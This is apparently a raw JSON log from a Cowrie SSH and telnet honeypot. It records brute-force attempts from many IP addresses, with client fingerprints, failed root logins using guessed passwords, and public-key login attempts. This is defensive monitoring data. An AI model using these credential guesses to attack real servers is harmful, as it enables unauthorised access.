{"eventid":"cowrie.login.failed","username":"root","password":"rover","message":"login attempt [root/rover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:33.610271Z","src_ip":"147.45.211.215","session":"eb55f0db70b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:34.783965Z","src_ip":"147.45.211.215","session":"eb55f0db70b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43472,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb29fcf7b0e","protocol":"ssh","message":"New connection: 103.82.132.16:43472 (159.203.135.109:22) [session: 9fb29fcf7b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:42.045876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:42.049327Z","src_ip":"103.82.132.16","session":"9fb29fcf7b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:42.292613Z","src_ip":"103.82.132.16","session":"9fb29fcf7b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011965","message":"login attempt [root/01011965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:43.026225Z","src_ip":"103.82.132.16","session":"9fb29fcf7b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:17:44.272790Z","src_ip":"103.82.132.16","session":"9fb29fcf7b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46172,"dst_ip":"159.203.135.109","dst_port":23,"session":"33881f05b0b8","protocol":"telnet","message":"New connection: 137.184.5.188:46172 (159.203.135.109:23) [session: 33881f05b0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:22.717727Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":39156,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e60ae8b07b9","protocol":"ssh","message":"New connection: 43.134.49.202:39156 (10.17.0.5:22) [session: 8e60ae8b07b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:33.953346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:33.959992Z","src_ip":"43.134.49.202","session":"8e60ae8b07b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:34.196178Z","src_ip":"43.134.49.202","session":"8e60ae8b07b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albert","password":"albert","message":"login attempt [albert/albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:35.175336Z","src_ip":"43.134.49.202","session":"8e60ae8b07b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:18:36.413818Z","src_ip":"43.134.49.202","session":"8e60ae8b07b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.61787724494934,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:00.335494Z","src_ip":"137.184.5.188","session":"33881f05b0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":40696,"dst_ip":"10.17.0.5","dst_port":22,"session":"87198000b11d","protocol":"ssh","message":"New connection: 92.118.39.49:40696 (10.17.0.5:22) [session: 87198000b11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:01.906681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:02.060297Z","src_ip":"92.118.39.49","session":"87198000b11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:02.063556Z","src_ip":"92.118.39.49","session":"87198000b11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:02.469963Z","src_ip":"92.118.39.49","session":"87198000b11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:03.576367Z","src_ip":"92.118.39.49","session":"87198000b11d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":40378,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34926ee1b5b","protocol":"ssh","message":"New connection: 162.144.88.94:40378 (10.17.0.5:22) [session: f34926ee1b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:26.221317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:26.224928Z","src_ip":"162.144.88.94","session":"f34926ee1b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:26.307178Z","src_ip":"162.144.88.94","session":"f34926ee1b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S1@c0!n@S3cur3","message":"login attempt [root/S1@c0!n@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:26.562906Z","src_ip":"162.144.88.94","session":"f34926ee1b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":41124,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3dd414ab96","protocol":"ssh","message":"New connection: 103.77.175.15:41124 (159.203.135.109:22) [session: eb3dd414ab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:43.857261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:43.861124Z","src_ip":"103.77.175.15","session":"eb3dd414ab96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:44.085444Z","src_ip":"103.77.175.15","session":"eb3dd414ab96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotik1","message":"login attempt [root/kotik1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:44.761733Z","src_ip":"103.77.175.15","session":"eb3dd414ab96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:45.989259Z","src_ip":"103.77.175.15","session":"eb3dd414ab96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f0d03835a5d","protocol":"telnet","message":"New connection: 107.6.151.170:42086 (159.203.135.109:23) [session: 7f0d03835a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:57.740486Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":41298,"dst_ip":"10.17.0.5","dst_port":22,"session":"96614b8dfcc4","protocol":"ssh","message":"New connection: 198.46.134.148:41298 (10.17.0.5:22) [session: 96614b8dfcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:58.986543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:58.990356Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.017641Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:fe:48:90:b7:b6:15:6d:1d:84:45:9c:71:ed:83:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDInvXD6WCZ0R3YiXo68qamFKw43h6GLwSM6k3iKsh+llNyJaEgwoi8g/G3jVpGqXrDk/PLGGdZ9lvMO69//S5T7U1Z3RINyP+2YnMdX3zuNNFeD91gFERgsqGR7ENNlYwomom7tpsNJstFxF+kUHPub11UiIk4Eydb82TZqAsF4OggSruDLhqCPXGMh+RwfqkN61J/C36GYb89gxJcnI/yVb2LDjMZlMuACio7cBXsWDKNML7ri8gLF++2rRpFVFgi6PvIxRZLma6qm/xikAFJI9GHZtXCsTnGm6ju1u5KI9chS+KngUmn5uNAO9LEzVeJIyupOmRkKopNO0bbXI9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:fe:48:90:b7:b6:15:6d:1d:84:45:9c:71:ed:83:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.139439Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:fe:48:90:b7:b6:15:6d:1d:84:45:9c:71:ed:83:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDInvXD6WCZ0R3YiXo68qamFKw43h6GLwSM6k3iKsh+llNyJaEgwoi8g/G3jVpGqXrDk/PLGGdZ9lvMO69//S5T7U1Z3RINyP+2YnMdX3zuNNFeD91gFERgsqGR7ENNlYwomom7tpsNJstFxF+kUHPub11UiIk4Eydb82TZqAsF4OggSruDLhqCPXGMh+RwfqkN61J/C36GYb89gxJcnI/yVb2LDjMZlMuACio7cBXsWDKNML7ri8gLF++2rRpFVFgi6PvIxRZLma6qm/xikAFJI9GHZtXCsTnGm6ju1u5KI9chS+KngUmn5uNAO9LEzVeJIyupOmRkKopNO0bbXI9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.142324Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:45:ad:81:2a:43:63:c3:74:b1:8f:60:f1:fb:b7:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0yTKnu3txWFpr5qO98v3sDHT8c53f5Rax8Yf5t9+ZeHxBet5I11e66pAnTvBLPMGImtKy1ByqDekHrqE+Gc25ZzPdiW+Ob9FoUYdaqQW9RIigjwD5mx3Lup6ZmGNQQXXILijj3TjQAd44GF/TwdWPH0+p+yUpUaA+/lVON1zl+rx8N6STu8Ebwc8ZAQyYCdkBurOFadoKjLMDgZOrsjxwagJpx32M5SJv4GNMKCVnQz3NeHKCztVdZEKukI0L2v3/QupAu/LNr0RU8eILvrTGj52kmOxiMNRaYoSsy58sDV8//uwZENBUonQ3Q7ZA4Iz+h4YmhcYHsKvGQcRvK1P4NF0l1TzDGWGVhumnI3i+gc89hFIhW6LBRbrUaTQpTGa66Cqb7Ev7oDiIuN+CZk0zCsebdmHoEyl3W0ikNzC6i4d2NmC76Ol4AM1fH/AQHoL0aG4adn2NyLHH8rk3l3UQ+gq6VGU88N8Xt7kI5UuSjOmvnMMDaSDUHKdYycu5FCN8QgXqz4pi3eRYXoQWoqTNS8dzAMhMsZx+IREp4emy4asXOyesidfPvJO+iEsgtuqim1fKk/9JjffXKzyiwJuzpl7+aqcMdo/HKI0rn65DowVek21sPaaG90BNLFxo+YKcM+5hijfipqi0kdLXV0Dznai8R17UPdu2m64ugSUkUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:45:ad:81:2a:43:63:c3:74:b1:8f:60:f1:fb:b7:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.170968Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:45:ad:81:2a:43:63:c3:74:b1:8f:60:f1:fb:b7:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0yTKnu3txWFpr5qO98v3sDHT8c53f5Rax8Yf5t9+ZeHxBet5I11e66pAnTvBLPMGImtKy1ByqDekHrqE+Gc25ZzPdiW+Ob9FoUYdaqQW9RIigjwD5mx3Lup6ZmGNQQXXILijj3TjQAd44GF/TwdWPH0+p+yUpUaA+/lVON1zl+rx8N6STu8Ebwc8ZAQyYCdkBurOFadoKjLMDgZOrsjxwagJpx32M5SJv4GNMKCVnQz3NeHKCztVdZEKukI0L2v3/QupAu/LNr0RU8eILvrTGj52kmOxiMNRaYoSsy58sDV8//uwZENBUonQ3Q7ZA4Iz+h4YmhcYHsKvGQcRvK1P4NF0l1TzDGWGVhumnI3i+gc89hFIhW6LBRbrUaTQpTGa66Cqb7Ev7oDiIuN+CZk0zCsebdmHoEyl3W0ikNzC6i4d2NmC76Ol4AM1fH/AQHoL0aG4adn2NyLHH8rk3l3UQ+gq6VGU88N8Xt7kI5UuSjOmvnMMDaSDUHKdYycu5FCN8QgXqz4pi3eRYXoQWoqTNS8dzAMhMsZx+IREp4emy4asXOyesidfPvJO+iEsgtuqim1fKk/9JjffXKzyiwJuzpl7+aqcMdo/HKI0rn65DowVek21sPaaG90BNLFxo+YKcM+5hijfipqi0kdLXV0Dznai8R17UPdu2m64ugSUkUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.174136Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:80:67:ae:ce:b3:65:33:46:e6:73:a1:97:7f:3a:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5KRRabw4toX6orRugdliVdRCGPX0o+GpjZ9XnhvGhIt8uCD9gAOVQikVC22S9mdehriToMDiQNQXVDRnaSN+FwQ6GQf5FxWI9TTtHJ6ko5Nl4xQJ93rvr28eZIbvT1ZWlYJy7iJOl6WUM/koQItEgfMtoT1zk7wwL9aZiw/SqtpQUKtDY5PDYXvHlRZ7fBLw8jYQhkc7yk/UVYqsmenwu7jURxJ7C9sFSWzCVWiNXMczT932JKHXFTjsLS/ve19H6l5sBAB6Nrj7nFqiZFcFRA4dHs1oBdWNLjk70a6u6YWahZoaU8xHEIU21l/1eY5SRBHtLQtqIwsAxz1pQdFTJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:80:67:ae:ce:b3:65:33:46:e6:73:a1:97:7f:3a:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.204907Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
